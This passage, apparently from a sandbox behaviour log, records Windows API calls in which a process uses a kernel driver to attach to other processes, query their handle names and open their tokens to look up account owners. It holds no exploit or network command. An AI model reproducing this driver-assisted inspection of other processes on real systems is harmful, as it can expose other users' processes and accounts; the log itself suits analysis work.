lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0095.931] PsLookupProcessByProcessId (in: ProcessId=0xcc4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.931] PsAcquireProcessExitSynchronization () returned 0x0 [0095.931] KeStackAttachProcess (in: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880052335d0) [0095.931] ObReferenceObjectByHandle (in: Handle=0x78, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0095.931] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.931] PsReleaseProcessExitSynchronization () returned 0x2 [0095.931] ObfDereferenceObject (Object=0xfffffa80039a2060) returned 0x21 [0095.931] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005233550) returned 0x0 [0095.931] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0095.931] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.931] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.931] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.932] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0095.932] PsLookupProcessByProcessId (in: ProcessId=0xcc4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.932] PsAcquireProcessExitSynchronization () returned 0x0 [0095.932] KeStackAttachProcess (in: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880052335d0) [0095.932] ObReferenceObjectByHandle (in: Handle=0xa4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80038bfab0, HandleInformation=0x0) returned 0x0 [0095.932] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.932] PsReleaseProcessExitSynchronization () returned 0x2 [0095.932] ObfDereferenceObject (Object=0xfffffa80039a2060) returned 0x21 [0095.932] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.932] ObfDereferenceObject (Object=0xfffffa80038bfab0) returned 0x1 [0095.932] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.932] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.932] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.932] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0095.932] PsLookupProcessByProcessId (in: ProcessId=0xcc4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.932] PsAcquireProcessExitSynchronization () returned 0x0 [0095.932] KeStackAttachProcess (in: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880052335d0) [0095.932] ObReferenceObjectByHandle (in: Handle=0xa8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a002a5c6a0, HandleInformation=0x0) returned 0x0 [0095.932] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.932] PsReleaseProcessExitSynchronization () returned 0x2 [0095.932] ObfDereferenceObject (Object=0xfffffa80039a2060) returned 0x21 [0095.932] ObQueryNameString (in: Object=0xfffff8a002a5c6a0, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88005233550) returned 0x0 [0095.932] ObfDereferenceObject (Object=0xfffff8a002a5c6a0) returned 0x1 [0095.932] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.932] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.932] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.932] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0095.932] PsLookupProcessByProcessId (in: ProcessId=0xcc4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.932] PsAcquireProcessExitSynchronization () returned 0x0 [0095.932] KeStackAttachProcess (in: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880052335d0) [0095.932] ObReferenceObjectByHandle (in: Handle=0xac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003840c50, HandleInformation=0x0) returned 0x0 [0095.932] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.932] PsReleaseProcessExitSynchronization () returned 0x2 [0095.932] ObfDereferenceObject (Object=0xfffffa80039a2060) returned 0x21 [0095.932] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.933] ObfDereferenceObject (Object=0xfffffa8003840c50) returned 0x1 [0095.933] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.933] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.933] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.933] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0095.933] PsLookupProcessByProcessId (in: ProcessId=0xcc4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.933] PsAcquireProcessExitSynchronization () returned 0x0 [0095.933] KeStackAttachProcess (in: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880052335d0) [0095.933] ObReferenceObjectByHandle (in: Handle=0xc4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001546a40, HandleInformation=0x0) returned 0x0 [0095.933] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.933] PsReleaseProcessExitSynchronization () returned 0x2 [0095.933] ObfDereferenceObject (Object=0xfffffa80039a2060) returned 0x21 [0095.933] ObQueryNameString (in: Object=0xfffff8a001546a40, ObjectNameInfo=0xfffffa8002012044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002012044, ReturnLength=0xfffff88005233550) returned 0x0 [0095.933] ObfDereferenceObject (Object=0xfffff8a001546a40) returned 0xc [0095.933] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.933] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.933] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xcd8) returned 0xc0 [0095.933] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0095.933] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa800395db30, HandleInformation=0x0) returned 0x0 [0095.933] ObOpenObjectByPointer (in: Object=0xfffffa800395db30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bc0) returned 0x0 [0095.933] ObfDereferenceObject (Object=0xfffffa800395db30) returned 0x10 [0095.933] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bc0, DesiredAccess=0x8, TokenHandle=0xfffffa80024d98c0 | out: TokenHandle=0xfffffa80024d98c0*=0xc8) returned 0x0 [0095.933] ZwClose (Handle=0xffffffff80000bc0) returned 0x0 [0095.933] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.933] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0095.933] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0095.935] CloseHandle (hObject=0xc8) returned 1 [0095.935] CloseHandle (hObject=0xc0) returned 1 [0095.935] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.935] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0095.935] PsLookupProcessByProcessId (in: ProcessId=0xcd8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.935] PsAcquireProcessExitSynchronization () returned 0x0 [0095.935] KeStackAttachProcess (in: PROCESS=0xfffffa800395db30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800395db30, ApcState=0xfffff880052335d0) [0095.935] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80038654a0, HandleInformation=0x0) returned 0x0 [0095.935] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.935] PsReleaseProcessExitSynchronization () returned 0x2 [0095.935] ObfDereferenceObject (Object=0xfffffa800395db30) returned 0xe [0095.935] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800201d044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800201d044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.935] ObfDereferenceObject (Object=0xfffffa80038654a0) returned 0x1 [0095.935] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.935] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.935] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.935] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0095.935] PsLookupProcessByProcessId (in: ProcessId=0xcd8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.935] PsAcquireProcessExitSynchronization () returned 0x0 [0095.935] KeStackAttachProcess (in: PROCESS=0xfffffa800395db30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800395db30, ApcState=0xfffff880052335d0) [0095.935] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800253fac0, HandleInformation=0x0) returned 0x0 [0095.935] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.935] PsReleaseProcessExitSynchronization () returned 0x2 [0095.935] ObfDereferenceObject (Object=0xfffffa800395db30) returned 0xe [0095.935] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.935] ObfDereferenceObject (Object=0xfffffa800253fac0) returned 0x1 [0095.935] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.936] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.936] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.936] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0095.936] PsLookupProcessByProcessId (in: ProcessId=0xcd8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.936] PsAcquireProcessExitSynchronization () returned 0x0 [0095.936] KeStackAttachProcess (in: PROCESS=0xfffffa800395db30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800395db30, ApcState=0xfffff880052335d0) [0095.936] ObReferenceObjectByHandle (in: Handle=0x80, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80028975c0, HandleInformation=0x0) returned 0x0 [0095.936] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.936] PsReleaseProcessExitSynchronization () returned 0x2 [0095.936] ObfDereferenceObject (Object=0xfffffa800395db30) returned 0xe [0095.936] ObQueryNameString (in: Object=0xfffffa8003168830, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.936] ObfDereferenceObject (Object=0xfffffa80028975c0) returned 0x3 [0095.936] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.936] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.936] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xcfc) returned 0xc0 [0095.936] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0095.936] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa80038dd060, HandleInformation=0x0) returned 0x0 [0095.936] ObOpenObjectByPointer (in: Object=0xfffffa80038dd060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bc0) returned 0x0 [0095.936] ObfDereferenceObject (Object=0xfffffa80038dd060) returned 0x1c [0095.936] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bc0, DesiredAccess=0x8, TokenHandle=0xfffffa80024d98c0 | out: TokenHandle=0xfffffa80024d98c0*=0xc8) returned 0x0 [0095.936] ZwClose (Handle=0xffffffff80000bc0) returned 0x0 [0095.936] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.936] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0095.936] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0095.938] CloseHandle (hObject=0xc8) returned 1 [0095.938] CloseHandle (hObject=0xc0) returned 1 [0095.938] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.938] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0095.938] PsLookupProcessByProcessId (in: ProcessId=0xcfc, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.938] PsAcquireProcessExitSynchronization () returned 0x0 [0095.938] KeStackAttachProcess (in: PROCESS=0xfffffa80038dd060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80038dd060, ApcState=0xfffff880052335d0) [0095.938] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80038e9e60, HandleInformation=0x0) returned 0x0 [0095.938] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.938] PsReleaseProcessExitSynchronization () returned 0x2 [0095.938] ObfDereferenceObject (Object=0xfffffa80038dd060) returned 0x1a [0095.938] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002058044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8002058044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.938] ObfDereferenceObject (Object=0xfffffa80038e9e60) returned 0x1 [0095.938] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.938] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.938] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.938] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0095.938] PsLookupProcessByProcessId (in: ProcessId=0xcfc, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.938] PsAcquireProcessExitSynchronization () returned 0x0 [0095.938] KeStackAttachProcess (in: PROCESS=0xfffffa80038dd060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80038dd060, ApcState=0xfffff880052335d0) [0095.938] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80025acd10, HandleInformation=0x0) returned 0x0 [0095.938] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.938] PsReleaseProcessExitSynchronization () returned 0x2 [0095.938] ObfDereferenceObject (Object=0xfffffa80038dd060) returned 0x1a [0095.938] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002077044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8002077044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.938] ObfDereferenceObject (Object=0xfffffa80025acd10) returned 0x1 [0095.938] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.939] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.939] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.939] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x110, lpOverlapped=0x0) returned 1 [0095.939] PsLookupProcessByProcessId (in: ProcessId=0xcfc, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.939] PsAcquireProcessExitSynchronization () returned 0x0 [0095.939] KeStackAttachProcess (in: PROCESS=0xfffffa80038dd060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80038dd060, ApcState=0xfffff880052335d0) [0095.939] ObReferenceObjectByHandle (in: Handle=0x2c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002926ae0, HandleInformation=0x0) returned 0x0 [0095.939] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.939] PsReleaseProcessExitSynchronization () returned 0x2 [0095.939] ObfDereferenceObject (Object=0xfffffa80038dd060) returned 0x1a [0095.939] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800207b044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800207b044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.939] ObfDereferenceObject (Object=0xfffffa8002926ae0) returned 0x1 [0095.939] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.939] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.939] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.939] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0095.939] PsLookupProcessByProcessId (in: ProcessId=0xcfc, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.939] PsAcquireProcessExitSynchronization () returned 0x0 [0095.939] KeStackAttachProcess (in: PROCESS=0xfffffa80038dd060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80038dd060, ApcState=0xfffff880052335d0) [0095.939] ObReferenceObjectByHandle (in: Handle=0x80, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80028975c0, HandleInformation=0x0) returned 0x0 [0095.939] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.939] PsReleaseProcessExitSynchronization () returned 0x2 [0095.939] ObfDereferenceObject (Object=0xfffffa80038dd060) returned 0x1a [0095.939] ObQueryNameString (in: Object=0xfffffa8003168830, ObjectNameInfo=0xfffffa80039997c4, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa80039997c4, ReturnLength=0xfffff88005233508) returned 0x0 [0095.939] ObfDereferenceObject (Object=0xfffffa80028975c0) returned 0x3 [0095.939] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.939] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.939] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xd04) returned 0xc0 [0095.939] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0095.939] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa800394e630, HandleInformation=0x0) returned 0x0 [0095.939] ObOpenObjectByPointer (in: Object=0xfffffa800394e630, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bc0) returned 0x0 [0095.940] ObfDereferenceObject (Object=0xfffffa800394e630) returned 0x25 [0095.940] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bc0, DesiredAccess=0x8, TokenHandle=0xfffffa80024d98c0 | out: TokenHandle=0xfffffa80024d98c0*=0xc8) returned 0x0 [0095.940] ZwClose (Handle=0xffffffff80000bc0) returned 0x0 [0095.940] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.940] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0095.940] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", 